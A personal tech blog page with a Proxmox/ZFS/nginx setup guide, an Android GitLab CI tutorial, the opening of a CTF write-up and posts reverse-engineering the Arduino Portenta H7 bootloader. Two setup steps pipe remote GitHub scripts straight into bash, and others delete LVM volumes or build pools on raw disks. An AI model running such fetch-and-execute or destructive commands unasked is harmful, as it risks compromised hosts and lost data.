olback.dev

Proxmox Setup with Netdata, ZFS and TLS

Edwin Svensson — Sat, 28 Dec 2024 00:00:00 GMT

Introduction

This guide will help you set up a Proxmox server with ZFS storage, netdata monitoring, and an nginx reverse proxy with TLS for the web interface and netdata.

Install Proxmox

https://www.proxmox.com/en/

During the installation, choose the following options:

Filesystem: xfs

Run post-install script

This script provides options for managing Proxmox VE repositories, including disabling the Enterprise Repo, adding or correcting PVE sources, enabling the No-Subscription Repo, adding the test Repo, disabling the subscription nag, updating Proxmox VE, and rebooting the system.

This script is provided by the community-scripts project: https://community-scripts.github.io/ProxmoxVE/scripts?id=post-pve-install

bash -c "$(wget -qLO - https://github.com/community-scripts/ProxmoxVE/raw/main/misc/post-pve-install.sh)"

Install netdata

Netdata is an open-source monitoring tool that provides real-time performance metrics for systems, applications, and infrastructure. It offers a highly interactive web interface to visualize and analyze metrics such as CPU, memory, disk, network, and application performance.

Installation script is provided by the community-scripts project: https://community-scripts.github.io/ProxmoxVE/scripts?id=netdata

bash -c "$(wget -qLO - https://github.com/community-scripts/ProxmoxVE/raw/main/misc/netdata.sh)"

Create TLS certificates

I’m using Cloudflare as my DNS provider, so I will use the ‘Cloudflare Managed DNS’ as the DNS API. You should pick whichever DNS API you are using.

Create a new ACME DNS Plugin: Go to Datacenter -> ACME -> Challange Plugins -> Add
- Plugin ID: cloudflare
- Validation Delay: 30 (default)
- DNS API: Cloudflare Managed DNS
- CF_Account_ID:
- CF_Token:
Create a new ACME account: Go to Datacenter -> ACME -> Accounts -> Add
- Account Name: default
- Email:
- ACME Directory: Let’s Encrypt V2
- Accept TOS: checked
Add domain name to host Go to YOURNODE -> System -> Certificates -> ACME -> Add
- Challange Type: DNS
- Plugin: cloudflare (the plugin you created earlier)
- Domain: YOUR.FQDN.HOSTNAME.HERE
Select ACME account Go to YOURNODE -> System -> Certificates -> ACME Select the account you created earlier. (next to the ‘Order Certificates Now’ button)
Request certificate Go to YOURNODE -> System -> Certificates -> ACME Click ‘Order Certificates Now’.

You should now have a valid TLS certificate for YOUR.FQDN.HOSTNAME.HERE.

Install neovim

Neovim is my preferred text editor, but you can use any text editor you like.

apt install neovim
export EDITOR=$(which nvim) # Set neovim as the default editor for the current session

Install and configure nginx

Install nginx. This is the web server that will act as a reverse proxy for the Proxmox web interface and netdata.

apt install nginx

Edit the nginx systemd service and add the lines below. This will make sure that nginx starts after the Proxmox cluster service, which provides the TLS certificates for the Proxmox web interface.

systemctl edit nginx.service

[Unit]
Requires=pve-cluster.service
After=pve-cluster.service

Disable the default nginx configuration. This is the default configuration that listens on port 80 and 443, which we don’t want to use.

rm /etc/nginx/sites-enabled/default

Edit the new configuration, see config below.

nvim /etc/nginx/sites-available/proxmox

nginx config:

upstream proxmox {
    server 127.0.0.1:8006;
}

upstream netdata {
    server 127.0.0.1:19999;
    keepalive 1024;
}

server {
    listen 443 ssl;
    listen [::]:443 ssl;

    server_name YOUR.FQDN.HOSTNAME.HERE;

    ssl_certificate /etc/pve/local/pveproxy-ssl.pem;
    ssl_certificate_key /etc/pve/local/pveproxy-ssl.key;

    proxy_redirect off;

    location = /netdata {
        return 301 /netdata/;
    }

    location ~ /netdata/(?.*) {
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-Host $host;
        proxy_set_header X-Forwarded-Server $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_http_version 1.1;
        proxy_pass_request_headers on;
        proxy_set_header Connection "keep-alive";
        proxy_store off;
        proxy_pass http://netdata/$ndpath$is_args$args;

        gzip on;
        gzip_proxied any;
        gzip_types *;
    }

    location / {
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_pass https://proxmox;
        proxy_buffering off;
        client_max_body_size 0;
        proxy_connect_timeout  3600s;
        proxy_read_timeout  3600s;
        proxy_send_timeout  3600s;
        send_timeout  3600s;
    }
}

Enable the new nginx site configuration.

ln -s /etc/nginx/sites-available/proxmox /etc/nginx/sites-enabled/proxmox

Check the nginx configuration for errors.

nginx -t

If the configuration is correct, restart the nginx service.

systemctl restart nginx

Expand the root partition

Remove proxmox data lvm-thin pool. We will create a new ZFS pool for storage.

lvremove /dev/pve/data

Extend the lvm partition to use the free space that was previously used by the data pool.

lvextend -l +100%FREE /dev/pve/root

Grow the filesystem to use the new space.

xfs_growfs /dev/pve/root

Configure ZFS ARC

Configure the minimum and maximum amount of ARC ZFS should use. The general rule of thumb is to allow 2GiB + 1GiB/TiB of storage.
So for a scenario where we have 8TiB of usable storage, we should have at least 10GiB of ARC configured. If you have spare RAM, you can increase this value to allow more data to be cached in RAM.

Default values for ZFS ARC:

zfs_arc_min: TOTAL_SYSYEM_RAM / 32
zfs_arc_max: TOTAL_SYSYEM_RAM / 2

The following sets the minimum ARC size to 10GiB - 1B and max to 10GiB. This ensures that ZFS will always use 10GiB of ARC.
We subtract one byte from the min-value because zfs_arc_min needs to be lower than zfs_arc_max.

echo "options zfs zfs_arc_min=$[10 * 1024*1024*1024 - 1]" >> /etc/modprobe.d/zfs.conf
echo "options zfs zfs_arc_max=$[10 * 1024*1024*1024]" >> /etc/modprobe.d/zfs.conf

This example sets the minimum amount of used ARC to 32GiB and the maximum to 64GiB.

echo "options zfs zfs_arc_min=$[32 * 1024*1024*1024]" >> /etc/modprobe.d/zfs.conf
echo "options zfs zfs_arc_max=$[64 * 1024*1024*1024]" >> /etc/modprobe.d/zfs.conf

Update your initramfs:

update-initramfs -u -k all

Create a new ZFS pool and datasets

Create a new ZFS pool. Replace the device names with the ones you have.

zpool create -o atime=off zfspool01 raidz /dev/sd{b,c,d,e} raidz /dev/sd{f,g,h,i}
# or with compression disabled, this will also disable compression for child data sets unless you manually enable it when creating datasets
zpool create -o compression=off -o atime=off zfspool01 raidz /dev/sd{b,c,d,e} raidz /dev/sd{f,g,h,i}

Create datasets for different types of data.

# Backups (vzdump)
zfs create -o mountpoint=/mnt/vzdump zfspool01/vzdump

# ISO images (compression disabled as ISOs compress really poorly)
zfs create -o compression=off -o mountpoint=/mnt/iso zfspool01/iso

# Container templates (compression disabled as templates are already zstd compressed)
zfs create -o compression=off -o mountpoint=/mnt/ctt zfspool01/ctt

# VMs and Containers if if you want file-based (qcow2) storage.
# Depending on your CPU and RAM, you might want to disable compression here '-o compression=off'.
zfs create -o mountpoint=/mnt/ct zfspool01/ct # Containers
zfs create -o mountpoint=/mnt/vm zfspool01/vm # Virtual machines

… or create a single dataset for all data

zfs create -o mountpoint=/mnt/vzdata zfspool01/vzdata

Create storage in Proxmox UI

Add each dataset as a storage in Proxmox UI. Go to Datacenter -> Storage -> Add -> Directory.

The ID-field should be unique for each storage type but can be anything you like. You may want to use ‘Container Templates’ instead of ‘ctt’ for example.

For backups, use the following settings: - ID: vzdump - Directory: /mnt/vzdump - Content: VZDump backup file

For ISO images, use the following settings: - ID: iso - Directory: /mnt/iso - Content: ISO image

For container templates, use the following settings: - ID: ctt - Directory: /mnt/ctt - Content: Container template

For containers, use the following settings: - ID: ct - Directory: /mnt/ct - Content: Container

For virtual machines, use the following settings: - ID: vm - Directory: /mnt/vm - Content: Disk image

… or

For the single dataset, use the following settings: - ID: vzdata - Directory: /mnt/vzdata - Content: Disk image, ISO image, Container template, VZDump backup file, Container, Snippets, Import

Enable Proxmox firewall

Go to YOURNODE -> Firewall -> Options -> Firewall -> Add
- Add a rule for the web interface:
  - Direction: IN
  - Enable: checked
  - Action: ACCEPT
  - Macro: blank
  - Interface: blank or your network interface of choice
  - Protocol: TCP
  - Source: blank or allowed IP range
  - Source port: blank
  - Destination:
  - Destination port: 443
  - Comment: nginx proxy for web interface and netdata (tcp/443)
- Add a rule to deny access to the Proxmox web interface directly:
  - Direction: IN
  - Enable: unchecked (enable after you have verified that the proxy works)
  - Action: REJECT
  - Macro: blank
  - Interface: blank
  - Protocol: TCP
  - Source: blank
  - Source port: blank
  - Destination: blank
  - Destination port: 8006
  - Comment: deny default proxmox interface
Go to YOURNODE -> Firewall -> Options -> Firewall -> Enable (checked)
Go to Datacenter -> Firewall -> Options -> Firewall -> Enable (checked)

And we’re done!

You should now have access to the Proxmox web interface via https://YOUR.FQDN.HOSTNAME.HERE and netdata via https://YOUR.FQDN.HOSTNAME.HERE/netdata. (assuming you have a DNS record pointing to the IP of your Proxmox server)

When you have verified that the proxy works, you can enable the rule that denies access to the Proxmox web interface directly.

References & Resources

Raring - Undutmaning 2024

Edwin Svensson — Sun, 24 Mar 2024 00:00:00 GMT

The challenge

The challenge is called “Raring” and is part of the Undutmaning 2024 CTF, hosted by FRA, Försvarsmakten and SÄPO. Thanks to the organizers for a fun and challenging CTF!

The challange reads:

An intercepted communication between King Harald and his courtesan Brunhild Beträglig seems to indicate that she is playing some kind of double game. Is it because she is trying to get into Harald’s system? Is she perhaps even a possible ally?
Dig out everything you can from the intercepted communication!

Translated from swedish for this writeup.

Building and shipping Android apps with Gitlab

Edwin Svensson — Wed, 04 May 2022 00:00:00 GMT

First of all, why?

Because we’re lazy! Well, that and we care about a standardized and reproducible build environment. Using Docker images to build our app gives ous just what we want, a reproducible build environment. Images are built once and re-used whenever we build our app. Every single build is the same as long as we don’t alter the image version.

Not having to manually create a release and ship/upload your app is not only nice and convenient, it makes it easier for someone else to take over after you assuming you’ve actually documented the pipeline.

The inspiration to write this post came from seeing Gitlabs own post Setting up GitLab CI for Android projects. This post is great but four years old, which means that, of course, Google has had plenty of time to deprecate some of the tools used.

The Docker image

To build an Android app we usually use Android studio. This is rather convenient but a headless server doesn’t handle GUI applications very well. Instead, we install the Android SDK and the tools that come with it.

We’re going to start with our base image, in this case openjdk:jdk-11.

FROM openjdk:11-jdk

Next, we’re defining some arguments/variables to easily update the tools later. The default values here can be found by running sdkmanager --list.

ARG ANDROID_COMPILE_SDK=32
ARG ANDROID_BUILD_TOOLS=32.0.0
ARG ANDROID_CMDLINE_TOOLS=8092744 # https://developer.android.com/studio#command-tools
ARG ANDROID_NDK=24.0.8215888
ARG ANDROID_USER=android # User to run the build, can be whatever really

Our next step is to update the image, install our dependencies and add the user.

RUN apt --quiet update --yes
RUN apt --quiet upgrade --yes
RUN apt --quiet install --yes wget tar unzip lib32stdc++6 lib32z1 sudo

RUN mkdir -p /etc/sudoers.d

RUN groupadd --gid 1000 ${ANDROID_USER} \
    && useradd --uid 1000 --gid ${ANDROID_USER} --shell /bin/bash --create-home ${ANDROID_USER} \
    && echo '${ANDROID_USER} ALL=NOPASSWD: ALL' >> /etc/sudoers.d/50-${ANDROID_USER}
USER ${ANDROID_USER}

Add our to-be-installed tool paths to our PATH.

ENV ANDROID_HOME=/home/${ANDROID_USER}/Android/Sdk
ENV PATH=/home/${ANDROID_USER}/Android/Sdk/cmdline-tools/latest/bin:${PATH}
ENV PATH=/home/${ANDROID_USER}/Android/Sdk/platform-tools:${PATH}
ENV PATH=/home/${ANDROID_USER}/Android/Sdk/ndk/${ANDROID_NDK}/toolchains/llvm/prebuilt/linux-x86_64/bin:${PATH}

With all dependencies installed and our user created and switched to, install the Android toolchain.

RUN cd /home/${ANDROID_USER} && mkdir -p Android/Sdk/cmdline-tools
WORKDIR /home/${ANDROID_USER}/Android
RUN wget --quiet --output-document=android-sdk.zip https://dl.google.com/android/repository/commandlinetools-linux-${ANDROID_CMDLINE_TOOLS}_latest.zip
RUN unzip -d Sdk/cmdline-tools android-sdk.zip
RUN mv Sdk/cmdline-tools/cmdline-tools Sdk/cmdline-tools/latest
RUN rm android-sdk.zip

# Install SDK parts
RUN echo y | sdkmanager "platforms;android-${ANDROID_COMPILE_SDK}" >/dev/null
RUN echo y | sdkmanager "platform-tools" >/dev/null
RUN echo y | sdkmanager "build-tools;${ANDROID_BUILD_TOOLS}" >/dev/null
RUN echo y | sdkmanager "ndk;${ANDROID_NDK}" >/dev/null

Finally, create a project directory and set the working directory.

RUN cd /home/${ANDROID_USER} && mkdir -p Project
WORKDIR /home/${ANDROID_USER}/Project

The Dockerfile is done! You can build an image with docker image build -t my-android-image .. Once the build finishes, you can run the image with docker run -it -v $(pwd):/home/android/Project my-android-image /bin/bash.

Don’t forget to upload the image to a registry to be able to use it on other machines, sush as a CI service.

Gitlab ci config

We want to build the image every time someone opens a merge request but we only want new releases when we merge into the main branch.

We have two stages, build and release.

stages:
  - build
  - release

Our first stage, build, consits of only one job, assemble. Notice the before_script and reports sections. They’re important to keep if we want to create a release with a link to the built apk.

The before_script section runs before our actual build, the only purpose is to save the build number as that is used in the download URL in the release.

The reports section tells gitlab to keep the assemble.env-file arround for other jobs that request it.

assemble:
  stage: build
  image: my-android-image
  before_script:
    - echo $CI_JOB_ID
    - echo GE_JOB_ID=$CI_JOB_ID >> assemble.env
  script:
    - ./gradlew assembleRelease
  artifacts:
    paths:
      - app/build/outputs/apk/release
    reports:
      dotenv: assemble.env

Creating a new Gitlab release is pretty easy, gitlab conveniently provides a tool for just this. Notice the use of ${GE_JOB_ID} in the asset link, also make sure to change my-group-placeholder/my-project-placeholder to your actual group and project slugs.

release:
  stage: release
  image: registry.gitlab.com/gitlab-org/release-cli:latest
  script:
    # This is the variable we saved in the 'before_script' section in the assemble job
    - echo "Running release for job"
    - echo $GE_JOB_ID
  # We 'need' the assemble job, otherwise we wouldn't have anything to release.
  needs:
    - job: assemble
      artifacts: true
  release:
    name: Release $CI_COMMIT_SHORT_SHA
    description: Create release $CI_COMMIT_SHORT_SHA using the release-cli
    tag_name: $CI_COMMIT_SHORT_SHA
    assets:
      links:
        - name: "app-release.apk"
          url: "https://gitlab.com/my-group-placeholder/my-project-placeholder/-/jobs/${GE_JOB_ID}/artifacts/raw/app/build/outputs/apk/release/app-release.apk"
  # Only run this job on the main branch
  only:
    - main

We’re done!

Here’s our Dockerfile

FROM openjdk:11-jdk

ARG ANDROID_COMPILE_SDK=32
ARG ANDROID_BUILD_TOOLS=32.0.0
ARG ANDROID_CMDLINE_TOOLS=8092744
ARG ANDROID_NDK=24.0.8215888
ARG ANDROID_USER=android

# System
RUN apt --quiet update --yes
RUN apt --quiet upgrade --yes
RUN apt --quiet install --yes wget tar unzip lib32stdc++6 lib32z1 sudo

RUN mkdir -p /etc/sudoers.d

# Add user
RUN groupadd --gid 1000 ${ANDROID_USER} \
    && useradd --uid 1000 --gid ${ANDROID_USER} --shell /bin/bash --create-home ${ANDROID_USER} \
    && echo '${ANDROID_USER} ALL=NOPASSWD: ALL' >> /etc/sudoers.d/50-${ANDROID_USER}
USER ${ANDROID_USER}

# Env
ENV ANDROID_HOME=/home/${ANDROID_USER}/Android/Sdk
ENV PATH=/home/${ANDROID_USER}/Android/Sdk/cmdline-tools/latest/bin:${PATH}
ENV PATH=/home/${ANDROID_USER}/Android/Sdk/platform-tools:${PATH}
ENV PATH=/home/${ANDROID_USER}/Android/Sdk/ndk/${ANDROID_NDK}/toolchains/llvm/prebuilt/linux-x86_64/bin:${PATH}

# Android tools
RUN cd /home/${ANDROID_USER} && mkdir -p Android/Sdk/cmdline-tools
WORKDIR /home/${ANDROID_USER}/Android
RUN wget --quiet --output-document=android-sdk.zip https://dl.google.com/android/repository/commandlinetools-linux-${ANDROID_CMDLINE_TOOLS}_latest.zip
RUN unzip -d Sdk/cmdline-tools android-sdk.zip
RUN mv Sdk/cmdline-tools/cmdline-tools Sdk/cmdline-tools/latest
RUN rm android-sdk.zip

# Install SDK parts
RUN echo y | sdkmanager "platforms;android-${ANDROID_COMPILE_SDK}" >/dev/null
RUN echo y | sdkmanager "platform-tools" >/dev/null
RUN echo y | sdkmanager "build-tools;${ANDROID_BUILD_TOOLS}" >/dev/null
RUN echo y | sdkmanager "ndk;${ANDROID_NDK}" >/dev/null

# Workdir
RUN cd /home/${ANDROID_USER} && mkdir -p Project
WORKDIR /home/${ANDROID_USER}/Project

and here’s our .gitlab-ci.yml

stages:
  - build
  - release

  assemble:
  stage: build
  image: my-android-image
  before_script:
    - echo $CI_JOB_ID
    - echo GE_JOB_ID=$CI_JOB_ID >> assemble.env
  script:
    - ./gradlew assembleRelease
  artifacts:
    paths:
      - app/build/outputs/apk/release
    reports:
      dotenv: assemble.env

release:
  stage: release
  image: registry.gitlab.com/gitlab-org/release-cli:latest
  script:
    # This is the variable we saved in the 'before_script' section in the assemble job
    - echo "Running release for job"
    - echo $GE_JOB_ID
  # We 'need' the assemble job, otherwise we wouldn't have anything to release.
  needs:
    - job: assemble
      artifacts: true
  release:
    name: Release $CI_COMMIT_SHORT_SHA
    description: Create release $CI_COMMIT_SHORT_SHA using the release-cli
    tag_name: $CI_COMMIT_SHORT_SHA
    assets:
      links:
        - name: "app-release.apk"
          url: "https://gitlab.com/my-group-placeholder/my-project-placeholder/-/jobs/${GE_JOB_ID}/artifacts/raw/app/build/outputs/apk/release/app-release.apk"
  # Only run this job on the main branch
  only:
    - main

Reverse engineering the Arduino Portenta H7 Bootloader [Oscillators] [Part 2]

Edwin Svensson — Sun, 05 Dec 2021 00:00:00 GMT

Oscillators on the H7

The Arduino Portenta H7 uses three diffrent oscillators.

32.768kHz (Y1) SiT1532AI-J4-DCC-32.768E
25MHz (U17) DSC6151HI2B-025.0000
27MHz (U18) DSC6151HI2B-027.0000T

32.768kHz (Y1)

This oscillator is connected to the WiFi module and MCU. This signal can be used by the real-time-clock on the MCU. It’s worth noting however that VDD on Y1 is not connected to VBAT+ which means that the clock will stop even if you have a coin cell installed.

25MHz (U17)

The external LAN Phy is the only device using this clock.

27MHz (U18)

Both the external High-Speed USB Phy and ANX7625 chip uses this clock.

Enable the oscillators

Both U17 and U18 have to manually be enabled by the user. The OSCEN pin is connected to MCU port H, pin 1 (PH1).

let mut oscen = gpioh.ph1.into_push_pull_output();
oscen.set_high().unwrap();
// Wait for osc to be stable
delay.delay_ms(10u32);

Reverse engineering the Arduino Portenta H7 Bootloader [I²C] [Part 1]

Edwin Svensson — Sat, 30 Oct 2021 00:00:00 GMT

Background

I got inspired by Jonathan Pallants Monotron (talk) project to make to make my own embedded computer. My initial goal was to essentially reimplement the majoroty of the features found on the Monotron, but on a newer and more powerful platform. The platform of choise was the Arduino Portenta H7 with a dual-core STM32H747 MCU. The Portenta H7 has DisplayPort over USB-C, external SDRAM and QSPI flash and a WiFi/Bluetooth module.

The Portenta H7 can run Arduino sketches ontop of the open-source Mbed rtos. Not something I’m interested in as I want to write my own “OS” from scratch in Rust. The MCU boots from address 0x08000000, this is where the bootloader entrypoint is. Arduino sketches are stored at 0x08040000, this is where the bootloader jumps to when all the board setup is done.

The Bootloader Mystery

The bootloader is closed-source. So what?

The bootloader configures the Power management IC (PMIC). This is a chip that provides all voltages to all the components on the board. Without the correct configuration, some parts (especially the ANX7625) will not work.

Martino Facchin, member of the Arduino organization on Github said in this issue that the source will be released soon. That comment was made well over a year ago. Asking for an update on the matter yielded no results.

What we know about the bootloader

Written in C++ using the mbed rtos.
Gets the last reset reason and does something.
Configures the PMIC.
Exposes a DFU target on the USB-C connection.
Configures RTC to do something.
Possibly more?

Let’s focus on the PMIC configuration as it’s the most important part to make things work.

Attempt 1

After a quick look at the schematics provided by Arduino, we can see that the PMIC used is a NXP PF1550 which lists I²C as the configuration interface. Using an ocsillisocpe at my university, I captured the SCL and SDA lines and saved the capture to a USB drive. After throwing together a small program to convert the captured data to a format that sigrok could understand, I imported it using the sigrok frontend PulseView. PulseView provides great protocol decoding so getting the data was easy. I got a total of six I²C packets where each packet contained two bytes. Great, I thought and added the six I²C writes to my startup code exptecting the orange DL2 LED on the board to turn off. To my surprise it did not. After looking closer at the data, I could see that at the end of my ocsillisocpe capture, there was a I²C start condition and a partial address. Turns out that the ocsillisocpe I used does not have enough memory to capture the entire boot sequence. Bummer.

Attempt 2

The bootloader is closed-source but Arduino provides compiled bootloader binaries on Github. Great! Let’s open portentah7_bootloader_mbed_hs_v2.elf in iaito to take a look. Thankfully, the bootloader binaries provided are non-stripped elf files with debug information. After jumping to the main label we see some RTC, reset reason, flash, and Digital IO calls. None of which are particularly interesting. A bit further down we see a call to mbed::I2C::I2C(PinName, PinName). After this, I counted twelve calls to mbed::I2C::write(int, char const*, int, bool) which confirmed my suspicion about not capturing all data in my first attempt. Looking at the assembly, it’s not super clear to me what data is being written to the bus. I’m almost confident that the I²C address is stored in R1, data in R2, and data length in R3. Address and data length is no problem to read, however the data written is not obvious to me.

At this point I tried using a debugger to read the registers but failed because the debugger refused to connect.

The following code is repeated twelve times, once for each write.

0x080019f6      movs    r3, 0x4f                            ; main.cpp:240 ; 'O'
0x080019f8      add     r2, var_8h                          ; main.cpp:245
0x080019fa      movs    r1, 0x10                            ; loc.FAULT_TYPE_HARD_FAULT
0x080019fc      strb.w  r3, [var_8h]                        ; main.cpp:243
0x08001a00      add     r0, var_d8h                         ; main.cpp:244
0x08001a02      movs    r3, 2
0x08001a04      str     r4, [sp]
0x08001a06      strb.w  r4, [var_9h]
0x08001a0a      bl      mbed::I2C::write(int, char const*, int, bool) ; main.cpp:245 ; method.mbed::I2C.write_int__char_const__int__bool_
                                                            ; mbed::I2C::write(int, char const*, int, bool) ; method.mbed::I2C.write_int__char_const__int__bool_ ; method.mbed::I2C.write_int__char_const__int__bool_(0xd8, 0x10, 0x8, 0x2, -1)

Attempt 3

At this point I had gotten rather frustrated. I just had to accept the fact that you need the right tool for the job. In this case the tool I needed was a logic analyzer. After some research, the Saleae Logic 8 seemed to be the go to. The 400€ (incl VAT) price was rather steep though. Turns out that Saleae have discounts for students and and non-commercial users. Great.

Once my Logic 8 arrived, I hooked it up to the I²C lines and started capturing data. As expected, twelve packets of data were sent by the bootloader.

With all the data captured, I once again tried to configure the PMIC and to my surprise, the DL2 LED turns off and everything works! Now other devices sush as the ANX7625 (MIPI to DisplayPort converter) also work.

Result

Here is a table with all the I²C traffic the bootloader generates:

Packet	Address (7bit)	R/W	Data	Description
1	0x08	W	0x4f, 0x00	LDO2_VOLT: 1.80V
2	0x08	W	0x50, 0x0f	LDO2_CTRL: VLDO2_EN = 1, VLDO2_STBY_EN = 1, VLDO2_OMODE = 1, VLDO2_LPWR = 1
3	0x08	W	0x4c, 0x05	LDO1_VOLT: 1.00V
4	0x08	W	0x4d, 0x03	LDO1_CTRL: VLDO1_EN = 1, VLDO1_STBY_EN = 1
5	0x08	W	0x52, 0x09	LDO3_VOLT: 1.20V
6	0x08	W	0x53, 0x0f	LDO3_CTRL: VLDO3_EN = 1, VLDO3_STBY_EN = 1, VLDO3_OMODE = 1, VLDO3_LPWR = 1
7	0x08	W	0x9C, 0x80	Not documented? No mention of 0x9C in datasheet.
8	0x08	W	0x9E, 0x20	Not documented? No mention of 0x9E in datasheet.
9	0x08	W	0x42, 0x02	SW3_CTRL1: SW3_ILIM = 1.5A
10	0x08	W	0x94, 0xA0	VBUS Current limit = 1500mA
11	0x08	W	0x3B, 0x0F	SW2_CTRL: SW2_EN = 1, SW2_STBY_EN = 1, SW2_OMODE = 1, SW2_LPWR = 1
12	0x08	W	0x35, 0x0F	SW1_CTRL: SW1_EN = 1, SW1_STBY_EN = 1, SW1_OMODE = 1, SW1_LPWR = 1
13	0x08	W	0x42, 0x01	This write is not part of the bootloader itself but it’s sent just before your Arduino code runs. fixup3V1Rail

I ended up with code similar to this:

const PMIC_ADDRESS: u8 = 0x08;
const PMIC_SETUP: &[&[u8]] = &[
    &[0x4F, 0x00],
    &[0x50, 0x0F],
    &[0x4C, 0x05],
    &[0x4D, 0x03],
    &[0x52, 0x09],
    &[0x53, 0x0F],
    &[0x9C, 0x80],
    &[0x9E, 0x20],
    &[0x42, 0x02],
    &[0x94, 0xA0],
    &[0x3B, 0x0F],
    &[0x35, 0x0F],
    &[0x42, 0x01],
];

fn configure<E, BUS: I2CWrite<Error = E>>(bus: &mut BUS) -> Result<(), E> {
    for data in PMIC_SETUP {
        bus.write(PMIC_ADDRESS, *data)?;
    }
    Ok(())
}

let mut i2c_bus = dp.I2C1.i2c(
    (
        gpiob.pb6.into_alternate_af4().set_open_drain(),
        gpiob.pb7.into_alternate_af4().set_open_drain(),
    ),
    100.khz(),
    ccdr.peripheral.I2C1,
    &ccdr.clocks,
);

// Configure PMIC (NXP PF1550)
configure(&mut i2c_bus).unwrap();

Data captures and more documentation can be found at olback/h7-bootloader-rev. Project that started it all: olback/h7.

Final thoughts

This blog post is just scratching the surface of the Portenta H7 bootloader, it should be enough to get you going on platforms other than the Arduino IDE.

Arduino

While I appreciate open-source hardware and software, I find it rather annoying when companies like Arduino go almost all the way. Especially with a device like this, a device aimed at “pros” who probably won’t use the Arduino IDE to write production code. The lack of communication from Arduinos side is also quite disappointing.

Saleae Logic 8

Since I purchased a Saleae Logic 8 for this project, here are some thoughts:

It’s a brick, but in a good way. The housing is all metal, giving the device some heft and a premium feel. The included wires are nothing like the cheap jumpers you’re used to. These a soft, very bendy wires with a good feling. The Logic2 software is really easy to use. No wierd layouts or quirks. Community extensions are supported which is super nice. The only thing I’m not a fan of is that Logic2 is written using Electron. Wish it was a “native” application but since the performance is surprisingly good, I’ll let it slide.

If you’re a hardware tinkerer and don’t already have a logic analyzer or an ocsillisocpe with serial decode, I think you should consider getting one. You get ~50% off if you’re a student.